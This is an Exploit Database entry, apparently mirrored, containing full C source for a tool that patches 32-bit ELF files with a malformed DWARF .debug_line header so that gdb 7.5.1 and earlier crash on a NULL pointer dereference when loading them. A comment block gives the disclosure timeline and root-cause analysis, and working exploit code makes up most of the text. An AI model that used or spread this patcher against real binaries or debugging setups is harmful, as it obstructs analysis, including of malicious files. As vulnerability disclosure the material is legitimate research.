gdb (GNU debugger) 7.5.1 – Null Pointer Dereference

• Exploit Database
• 10 阅读

• 作者： nitr0us
  日期： 2012-12-20
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/23523/

• /*
  *
  * gdb (GNU debugger) <= 7.5.1 (crash due a NULL pointer dereference)
  * ELF anti-debugging/reversing patcher
  *
  * Published @ IOActive Labs Research blog:
  * http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html
  *
  * - nitr0us [ http://twitter.com/nitr0usmx ]
  *
  * Tested under:
  * GNU gdb 7.5.1 (OpenBSD 5.2 i386[Compiled from sources])
  * GNU gdb 7.5 (OpenBSD 5.2 i386[Compiled from sources])
  * GNU gdb 7.5 (Ubuntu Server 12.04 [Compiled from sources])
  * GNU gdb 7.4.1 (OpenBSD 5.2 i386)
  * GNU gdb 7.4-2012.04 (Ubuntu Server 12.04)
  * GNU gdb 7.2-50.el6(CentOS Linux)
  * GNU gdb 6.7.1 (Gentoo Linux)
  *
  * Bug found using Frixyon fuzzer (my ELF file format fuzzer still in development)
  *
  * Timeline:
  * 12/11/2012The bug was found on GNU gdb 7.5
  * 19/11/2012The bug was reported through the official GNU gdb.s bug tracker:
  http://sourceware.org/bugzilla/show_bug.cgi?id=14855
  * 10/12/2012Retested with the latest release (7.5.1), which still has the bug
  * 12/12/2012The status on the tracker is still "NEW"
  *
  **************** TECHNICAL DETAILS ***********************
  In gdb-7.5.1/gdb/dwarf2read.c is the following data structure:
  struct line_header
  {
  ...
  unsigned int num_include_dirs, include_dirs_size;
  char **include_dirs;
  ...
  struct file_entry
  {
  char *name;
  unsigned int dir_index;
  unsigned int mod_time;
  unsigned int length;
  ...
  } *file_names;
  }
  
  The problem exists when trying to open a malformed ELF that contains a
  file_entry.dir_index > 0 and char **include_dirs pointing to NULL.
  
  After patching an ELF file with this code, the following happens:
  
  (gdb) r -q ./evil_exploit
  
  Program received signal SIGSEGV, Segmentation fault.
  0x081e87bd in psymtab_include_file_name (lh=0x8594420, file_index=0,
  pst=0x8583650, comp_dir=0x858362c "/home/nitr0us") at dwarf2read.c:13969
  13970 dir_name = lh->include_dirs[fe.dir_index - 1];
  (gdb) p/x fe
  $1 = {name = 0x8583718, dir_index = 0xf, mod_time = 0x0, length = 0x0,
  included_p = 0x1, symtab = 0x0}
  (gdb) p lh->include_dirs
  $2 = (char **) 0x0
  (gdb) x/i $eip
  => 0x81e87bd <psymtab_include_file_name+111>: mov(%eax),%eax
  (gdb) i r $eax
  eax0x38 56
  
  The root cause of the problem is that there's no validation to 
  verify if include_dirs is different from NULL before referencing it.
  
  **********************************************************
  *
  * [Compilation] $ gcc gdb_751_elf_shield.c -o gdb_751_elf_shield -Wall
  *
  * Sh0utz: IOActive fellows, CRAc, b33rc0n crew (dex, hkm, calderpwn,
  * Carlos Ayala, Daemon, LightOS) chr1x, alt3kx, tr3w, crypkey,
  * el_chito, nahual, beck, sirdarkcat, NataS, ran, Fede Bossi, 
  * nediam, psymera, Rolman, Kbrown, Bucio, p4dm3, Hector Lopez, zeus, 
  * Matias Brutti, sunl3vy, Raaka_elgaupo, vendetta, raito, beavis,
  * el5patas, vi0let.
  *
  *
  * http://chatsubo-labs.blogspot.com
  * http://www.brainoverflow.org
  *
  */
  
  #include <sys/mman.h>
  #include <sys/stat.h>
  #include <stdint.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  #include <stdio.h>
  #include <fcntl.h>
  
  #if defined(__OpenBSD__) || defined(__NetBSD__) || defined(__FreeBSD__)
  #include <sys/exec_elf.h>
  #else
  #include <elf.h>
  #endif
  
  /*
  * The next payload is based on the 'struct line_header'
  * defined in gdb-7.5.1/gdb/dwarf2read.c
  *
  * The fields are put in little-endian (LSB)
  */
  const char dwarf_line_header[] = {
  	0x32, 0x00, 0x00, 0x00, // unsigned int total_length;
  	0x02, 0x00, // unsigned short version;
  	0x1c, 0x00, 0x00, 0x00, // unsigned int header_length;
  	0x01, // unsigned char minimum_instruction_length;
  	0x01, // unsigned char maximum_ops_per_instruction;
  	0xfb, // int line_base; in runtime = 0xfffffffb, however, in file system it's only one byte o_O?
  	0x0e, // unsigned char line_range;
  	0x0d, // unsigned char opcode_base;
  	'N' , '1' , '7' , 'R' , '0' , // Useless to trigger the bug
  	0xDE, 0xAD, 0xBA, 0xBE, // Useless to trigger the bug
  	0x31, 0x33, 0x70, // Useless to trigger the bug
  	0x00, // (KILLER BYTE) char **include_dirs; This will expand to a NULL pointer 0x00000000
  	'C' , 'R' , '4' , '5' , 'H' , 0x00, // file_entry->name
  	0x31, // (KILLER BYTE) file_entry->dir_index; dwarf_line_header->include_dirs[file_entry.dir_index - 1]; SIGSEGV !
  	0x33, // file_entry->mod_time;
  	0x70, // file_entry->length;
  	0x00, 0x00, 0x05, 0x02, // Couldn't detect where exactly are loaded in memory at runtime
  	0xd4, 0x83, 0x04, 0x08, // . . .
  	0x15, 0x91, 0xbc, 0x59, // . . .
  	0x02, 0x02, 0x00, 0x01, // . . .
  	0x01, // Couldn't detect where exactly are loaded in memory at runtime
  };
  
  /*
  * The next ELF sections are necessary to crash gdb.
  * They were taken from a normal ELF file compiled with -ggdb
  * $objdump -s -j .debug_xxx ./a.out
  */
  char debug_info[] = {
  	0x87, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x3b, 0x00, 0x00, 0x00,
  	0x01, 0x00, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0xd4, 0x83, 0x04, 0x08, 0xf0, 0x83, 0x04,
  	0x08, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x2e, 0x00, 0x00, 0x00, 0x02, 0x01, 0x08, 0x47,
  	0x00, 0x00, 0x00, 0x02, 0x02, 0x07, 0x07, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x29, 0x00, 0x00,
  	0x00, 0x02, 0x01, 0x06, 0x49, 0x00, 0x00, 0x00, 0x02, 0x02, 0x05, 0x1a, 0x00, 0x00, 0x00, 0x03,
  	0x04, 0x05, 0x69, 0x6e, 0x74, 0x00, 0x02, 0x08, 0x05, 0x68, 0x00, 0x00, 0x00, 0x02, 0x08, 0x07,
  	0x24, 0x00, 0x00, 0x00, 0x02, 0x04, 0x05, 0x6d, 0x00, 0x00, 0x00, 0x02, 0x01, 0x06, 0x50, 0x00,
  	0x00, 0x00, 0x04, 0x01, 0x63, 0x00, 0x00, 0x00, 0x01, 0x03, 0x4f, 0x00, 0x00, 0x00, 0xd4, 0x83,
  	0x04, 0x08, 0xf0, 0x83, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00
  };
  
  char debug_abbrev[] = {
  	0x01, 0x11, 0x01, 0x25, 0x0e, 0x13, 0x0b, 0x03, 0x0e, 0x1b, 0x0e, 0x11, 0x01, 0x12, 0x01, 0x10,
  	0x06, 0x00, 0x00, 0x02, 0x24, 0x00, 0x0b, 0x0b, 0x3e, 0x0b, 0x03, 0x0e, 0x00, 0x00, 0x03, 0x24,
  	0x00, 0x0b, 0x0b, 0x3e, 0x0b, 0x03, 0x08, 0x00, 0x00, 0x04, 0x2e, 0x00, 0x3f, 0x0c, 0x03, 0x0e,
  	0x3a, 0x0b, 0x3b, 0x0b, 0x49, 0x13, 0x11, 0x01, 0x12, 0x01, 0x40, 0x06, 0x00, 0x00, 0x00
  };
  
  char debug_str[] = {
  	0x65, 0x76, 0x69, 0x6c, 0x2e, 0x63, 0x00, 0x73, 0x68, 0x6f, 0x72, 0x74, 0x20, 0x75, 0x6e, 0x73,
  	0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x73, 0x68, 0x6f, 0x72, 0x74, 0x20,
  	0x69, 0x6e, 0x74, 0x00, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x75, 0x6e,
  	0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x47, 0x4e, 0x55, 0x20, 0x43,
  	0x20, 0x34, 0x2e, 0x36, 0x2e, 0x33, 0x00, 0x75, 0x6e, 0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20,
  	0x63, 0x68, 0x61, 0x72, 0x00, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x6e, 0x69, 0x74, 0x72, 0x30,
  	0x75, 0x73, 0x00, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x6c, 0x6f, 0x6e,
  	0x67, 0x20, 0x69, 0x6e, 0x74, 0x00
  };
  
  /* Global vars & structs that'll used later */
  Elf32_Ehdr*header;
  Elf32_Shdr	*sht; // Section Header Table
  Elf32_Phdr*pht; // Program Header Table
  Elf32_Shdr	*shstrtab_section;
  Elf32_Word	s_debug_line_size = 0;
  Elf32_Word	shstrtab_size = 0;
  Elf32_Off	shstrtab_offset = 0;
  Elf32_Off	debug_line_offset = 0;
  struct stat	statinfo; // We'll use only st_size and st_mode
  char		*elfptr;
  int		fd, tmpfd, k;
  
  int isELF(int);
  
  Elf32_Off findDebugLineSection()
  {
  	for(k = 0; k < header->e_shnum; k++, sht++)
  		if(strcmp(elfptr + shstrtab_offset + sht->sh_name, ".debug_line") == 0){
  			s_debug_line_size = sht->sh_size;
  
  			return sht->sh_offset;
  		}
  
  	return 0;
  }
  
  /*
  * This function will add the section '.debug_line'
  * with the payload inside. Also, it's necessary to 
  * update some ELF metadata as well as to include some
  * extra Elf32_Shdr structures in the middle of the file.
  *
  * I solved this problem doing the following steps:
  *
  * 1.- Patch the .shstrtab (and .strtab) sections size, so
  * the names (strings at the end of the file) of the new appended 
  * sections will be inside that sections (gdb checks for the offsets).
  *
  * 2.- Create 4 new Elf32_Shdr structures (.debug_line, .debug_info,
  * .debug_abbrev and .debug_str) which are necessary to crash gdb:
  * ->sh_name is a relative offset to shstrtab_section->sh_offset
  * So, it'll be pointing to statinfo.st_size - shstrtab_section->sh_offset
  * (it means that at the end of the file there will be the
  * string '.debug_line' (null terminated)). The same calculations for the
  * other 3 new sections added.
  * ->sh_offset is the absolute offset in file system, so it'll be
  * pointing to the end of the file.
  * ->sh_size will be obviously sizeof() each section content (payloads)
  *
  * 3.- Calculate the insertion point (offset in file system):
  * header->e_shoff + header->e_shnum * sizeof(Elf32_Shdr)
  *
  * 4.- Four Elf32_Shdr structured will be appended at the end of the 
  * Section Header Table, so it means that for each program header 
  * who's segment is after the insertion, its offset in file system has to 
  * be updated to reflect the new position after insertion:
  * pht->p_offset += sizeof(Elf32_Shdr) * n_sections_to_inject;
  * Also update the header->e_phoff (in case it's after the injection point).
  *
  * 5.- Update the ELF header to account for 4 extra section headers:
  * ->header->e_shnum += n_sections_to_inject;
  *
  * 6.- Synchronize the ELF in file system with its corresponding 
  * pointer in memory to reflect the previous changes (msync()).
  * Also close the file descriptor.
  *
  * 7.- Physically insert the Elf32_Shdr structures at the end 
  * of the Section Header Table (insertion point calculated in the step 3).
  * After that, copy the rest of the file.
  
  * 8.- Insert the names of the new sections (strings '.debug_line', '.debug_info',
  * '.debug_abbrev' and '.debug_str') followed by its corresponding null byte.
  *
  * 9.- Finally, insert the payloads (dwarf_line_header[], debug_info[], debug_str[]
  * and debug_abbrev[])
  *
  */
  int addDebugLineSection()
  {
  	unsigned int	n_sections_to_inject = 4; // .debug_line (bogus data), .debug_info, .debug_abbrev and .debug_str
  	unsigned int	n_sections_names_len = strlen(".debug_str") + 1 
  						+ strlen(".debug_info") + 1 
  						+ strlen(".debug_line") + 1 
  						+ strlen(".debug_abbrev") + 1;
  
  	// Step 1
  	shstrtab_section->sh_size = statinfo.st_size - shstrtab_offset + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len;
  	printf("[+] Patching the size of \".shstrtab\" section to 0x%.4x\n", shstrtab_section->sh_size);
  
  	sht = (Elf32_Shdr *) (elfptr + header->e_shoff);
  	for(k = 0; k < header->e_shnum; k++, sht++)
  		if(strcmp(elfptr + shstrtab_offset + sht->sh_name, ".strtab") == 0){
  			sht->sh_size = shstrtab_section->sh_size;
  			printf("[+] Patching the size of \".strtab\" section to 0x%.4x as well (gdb also check this size)\n\n", sht->sh_size);
  			break;
  		}
  
  	// Step 2
  	Elf32_Shdr	debug_line_sechdr, debug_info_sechdr, debug_abbrev_sechdr, debug_str_sechdr;
  
  	debug_line_sechdr.sh_type = debug_info_sechdr.sh_type = debug_abbrev_sechdr.sh_type = debug_str_sechdr.sh_type = 0x0001;
  	debug_line_sechdr.sh_flags = debug_info_sechdr.sh_flags = debug_abbrev_sechdr.sh_flags = 0x0000;
  	debug_str_sechdr.sh_flags = 0x0030;
  	debug_line_sechdr.sh_addr = debug_info_sechdr.sh_addr = debug_abbrev_sechdr.sh_addr = debug_str_sechdr.sh_addr = 0x00000000;
  	debug_line_sechdr.sh_link = debug_info_sechdr.sh_link = debug_abbrev_sechdr.sh_link = debug_str_sechdr.sh_link = 0x0000;
  	debug_line_sechdr.sh_info = debug_info_sechdr.sh_info = debug_abbrev_sechdr.sh_info = debug_str_sechdr.sh_info = 0x0000;
  	debug_line_sechdr.sh_addralign = debug_info_sechdr.sh_addralign = debug_abbrev_sechdr.sh_addralign = debug_str_sechdr.sh_addralign = 0x0001;
  	debug_line_sechdr.sh_entsize = debug_info_sechdr.sh_entsize = debug_abbrev_sechdr.sh_entsize = debug_str_sechdr.sh_entsize = 0x0000;
  
  	debug_line_sechdr.sh_size =	sizeof(dwarf_line_header);
  	debug_info_sechdr.sh_size =	sizeof(debug_info);
  	debug_str_sechdr.sh_size =	sizeof(debug_str);
  	debug_abbrev_sechdr.sh_size =	sizeof(debug_abbrev);
  
  	// Relative offsets to shstrtab_offset
  	debug_line_sechdr.sh_name =	statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset;
  	debug_info_sechdr.sh_name =	statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset 
  					+ strlen(".debug_line") + 1;
  	debug_str_sechdr.sh_name =	statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset
  					+ strlen(".debug_line") + 1
  					+ strlen(".debug_info") + 1;
  	debug_abbrev_sechdr.sh_name =	statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset
  					+ strlen(".debug_line") + 1
  					+ strlen(".debug_info") + 1
  					+ strlen(".debug_str")+ 1;
  
  	// Absolute offsets at the end of the file
  	debug_line_sechdr.sh_offset =	statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len;
  	debug_info_sechdr.sh_offset =	statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len
  					+ debug_line_sechdr.sh_size;
  	debug_str_sechdr.sh_offset =	statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len
  					+ debug_line_sechdr.sh_size
  					+ debug_info_sechdr.sh_size;
  	debug_abbrev_sechdr.sh_offset =	statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len
  					+ debug_line_sechdr.sh_size
  					+ debug_info_sechdr.sh_size
  					+ debug_str_sechdr.sh_size;
  
  	// Step 3
  	Elf32_Off shdr_insertion_point = header->e_shoff + header->e_shnum * sizeof(Elf32_Shdr);
  
  	printf("[*] The insertion point will be at: 0x%.4x\n\n", shdr_insertion_point);
  
  	// Step 4
  	pht = (Elf32_Phdr *) (elfptr + header->e_phoff);
  
  	if(header->e_phoff >= shdr_insertion_point){
  		header->e_phoff += sizeof(Elf32_Shdr) * n_sections_to_inject;
  
  		printf("[+] The Program Header Table is after the insertion point. Fixing p_offset to 0x%.4x\n", header->e_phoff);
  	} else
  		printf("[-] The Program Header Table is before the insertion point.\n");
  
  
  	for(k = 0; k < header->e_phnum; k++, pht++)
  		if(pht->p_offset >= shdr_insertion_point){
  			pht->p_offset += sizeof(Elf32_Shdr) * n_sections_to_inject;
  
  			printf("[+] The Program Header[	%d ] is after the insertion point. Fixing p_offset to 0x%.4x\n", k, pht->p_offset);
  		}
  
  	// Step 5
  	header->e_shnum += n_sections_to_inject;
  
  	// Step 6
  	if(msync(elfptr, 0, MS_SYNC) == -1){
  		perror("msync");
  		return 0;
  	}
  
  	close(fd);
  
  	// Step 7
  	if((tmpfd = creat("modified_elf.tmp", statinfo.st_mode)) == -1){
  		perror("creat");
  		return 0;
  }
  
  	if(write(tmpfd, elfptr, shdr_insertion_point) == -1)
  		return 0;
  
  	printf("\n[+] Injecting the '.debug_line' Elf32_Shdr struct at the end of the Section Header Table...\n");
  	if(write(tmpfd, &debug_line_sechdr, sizeof(Elf32_Shdr)) == -1)
  		return 0;
  
  	printf("[+] Injecting the '.debug_info' Elf32_Shdr struct at the end of the Section Header Table...\n");
  	if(write(tmpfd, &debug_info_sechdr, sizeof(Elf32_Shdr)) == -1)
  		return 0;
  
  	printf("[+] Injecting the '.debug_str' Elf32_Shdr struct at the end of the Section Header Table...\n");
  	if(write(tmpfd, &debug_str_sechdr, sizeof(Elf32_Shdr)) == -1)
  		return 0;
  
  	printf("[+] Injecting the '.debug_abbrev' Elf32_Shdr struct at the end of the Section Header Table...\n\n");
  	if(write(tmpfd, &debug_abbrev_sechdr, sizeof(Elf32_Shdr)) == -1)
  		return 0;
  
  	// Copy the rest of the original file
  	if(write(tmpfd, elfptr + shdr_insertion_point, statinfo.st_size - shdr_insertion_point) == -1)
  		return 0;
  
  
  	// Step 8
  	if(write(tmpfd, ".debug_line\0", strlen(".debug_line") + 1) == -1)
  		return 0;
  
  	if(write(tmpfd, ".debug_info\0", strlen(".debug_info") + 1) == -1)
  		return 0;
  
  	if(write(tmpfd, ".debug_str\0", strlen(".debug_str") + 1) == -1)
  		return 0;
  
  	if(write(tmpfd, ".debug_abbrev\0", strlen(".debug_abbrev") + 1) == -1)
  		return 0;
  
  	// Step 9
  	printf("[+] Injecting the malformed line header structure (payload) into the new created '.debug_line' section...\n");
  	if(write(tmpfd, dwarf_line_header, sizeof(dwarf_line_header)) == -1)
  		return 0;
  
  	printf("[+] Injecting the content of '.debug_info', '.debug_str' and '.debug_abbrev' sections...\n");
  	if(write(tmpfd, debug_info, sizeof(debug_info)) == -1)
  		return 0;
  
  	if(write(tmpfd, debug_str, sizeof(debug_str)) == -1)
  		return 0;
  
  	if(write(tmpfd, debug_abbrev, sizeof(debug_abbrev)) == -1)
  		return 0;
  
  	close(tmpfd);
  
  	return 1;
  }
  
  int main(int argc, char **argv)
  {
  	printf("##################################################\n");
  	printf("##\n");
  	printf("#gdb (GNU debugger) <= 7.5.1 #\n");
  	printf("# (crash due a NULL pointer dereference) #\n");
  	printf("##\n");
  	printf("#ELF anti-debugging/reversing patcher#\n");
  	printf("# -nitr0us-#\n");
  	printf("##\n");
  	printf("##################################################\n\n");
  
  	if(argc < 2){
  		fprintf(stderr, "Usage: %s <elf_file_to_patch>\n", argv[0]);
  		exit(-1);
  	}
  
  	if((fd = open(argv[1], O_RDWR)) == -1){
  		perror("open");
  		exit(-1);
  	}
  
  	if(!isELF(fd)){
  		close(fd);
  		exit(-1);
  	}
  
  	if(fstat(fd, &statinfo) == -1){
  		perror("stat");
  		close(fd);
  		exit(-1);
  	}
  
  	if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
  		perror("mmap");
  		close(fd);
  		exit(-1);
  	}
  
  	header = (Elf32_Ehdr *) (elfptr);
  
  	if(header->e_shoff == 0){
  		fprintf(stderr, "[!] \"%s\" doesn't have a Section Header Table !\n", argv[1]);
  		close(fd);
  		munmap(elfptr, 0);
  		exit(-1);
  	}
  
  	sht = (Elf32_Shdr *) (elfptr + header->e_shoff);
  
  	printf("[*] The ELF file originally has: %d (0x%.4x) bytes\n", (int) statinfo.st_size, (int) statinfo.st_size);
  	printf("[-] Ehdr->e_shnum:%5d (0x%.4x)\n", header->e_shnum, header->e_shnum);
  	printf("[-] Ehdr->e_shoff:%5d (0x%.4x)\n", header->e_shoff, header->e_shoff);
  	printf("[-] Ehdr->e_shstrndx: %5d (0x%.4x)\n", header->e_shstrndx, header->e_shstrndx);
  
  	// Find the Section Header corresponding to the 
  	// "Section Header String Table" to get the file offset from there
  	shstrtab_section = (Elf32_Shdr *)(elfptr + header->e_shoff + header->e_shstrndx * sizeof(Elf32_Shdr));
  	if((shstrtab_size = shstrtab_section->sh_size) > 0)
  		if(!(shstrtab_offset = shstrtab_section->sh_offset)){
  			fprintf(stderr, "[!] shstrtab_section->sh_offset is 0 (cero) !\n");
  			close(fd);
  			munmap(elfptr, 0);
  			exit(-1);
  		}
  
  	printf("[-] shstrtab_offset:%5d (0x%.4x)\n", (int) shstrtab_offset, (int) shstrtab_offset);
  	printf("[-] shstrtab_size:%5d (0x%.4x)\n\n", (int) shstrtab_size, (int) shstrtab_size);
  
  	printf("[*] Looking for the '.debug_line' section...\n\n");
  
  	if(!(debug_line_offset = findDebugLineSection())){
  		printf("[-] '.debug_line' section was not found in the Section Header Table !\n");
  		printf("[*] Adding the '.debug_line' with the payload inside\n\n");
  
  		if(!addDebugLineSection()){
  			fprintf(stderr, "[!] The '.debug_line' section couldn't be added. Sorry !\n\n");
  			close(fd);
  			munmap(elfptr, 0);
  			exit(-1);
  		}
  
  		printf("[+] The '.debug_line' section was added successfully with the payload inside\n\n");
  
  		if(rename("modified_elf.tmp", argv[1]) == -1)
  			perror("rename");
  	} else {
  		printf("[+] '.debug_line' section was found at offset %5d (0x%.4x) within the file\n", (int) debug_line_offset, (int) debug_line_offset);
  		printf("[*] '.debug_line' size = %5d bytes\n", (int) s_debug_line_size);
  
  		if(s_debug_line_size < sizeof(dwarf_line_header)){
  			fprintf(stderr, "[!] '.debug_line' section is smaller than the payload to be injected (%d bytes)\n\n", (int) sizeof(dwarf_line_header));
  			exit(-1);
  		} else 
  			printf("[*] '.debug_line' section has enough space for the payload (%d bytes)\n\n", (int) sizeof(dwarf_line_header));
  
  		printf("[*] Overwriting its content with the payload\n\n");
  
  		memcpy(elfptr + debug_line_offset, dwarf_line_header, sizeof(dwarf_line_header));
  	}
  
  	// Synchronize the ELF in file system with the previous memory mapped
  	if(msync(elfptr, 0, MS_SYNC) == -1){
  		perror("msync");
  		close(fd);
  		exit(-1);
  	}
  
  	close(fd);
  	munmap(elfptr, 0);
  
  	printf("[*] \"%s\" is now completely patched\n", argv[1]);
  	printf("[*] gdb (GNU debugger) <= 7.5.1 should crash trying to load \"%s\"\n", argv[1]);
  
  	return 0;
  }
  
  int isELF(int fd)
  {
  	Elf32_Ehdr	header;
  
  	if(read(fd, &header, sizeof(header)) == -1){
  		perror("isELF(): read");
  		return 0;
  	}
  
  	/* magic number verification */
  	if(header.e_ident[EI_MAG0] != ELFMAG0 ||
  			header.e_ident[EI_MAG1] != 'E' ||
  			header.e_ident[EI_MAG2] != 'L' ||
  			header.e_ident[EI_MAG3] != 'F'){
  		fprintf(stderr, "The argument given is not an ELF file !\n");
  		return 0;
  	}
  
  	/* 32-bit class verification */
  	if(header.e_ident[EI_CLASS] != ELFCLASS32){
  		fprintf(stderr, "Only 32-bit ELF files supported !\n");
  		return 0;
  	}
  
  	/* little-endian verification */
  	if(header.e_ident[EI_DATA] != ELFDATA2LSB){
  		fprintf(stderr, "Only little-endian ELF files supported !\n");
  		return 0;
  	}
  
  	return 1;
  }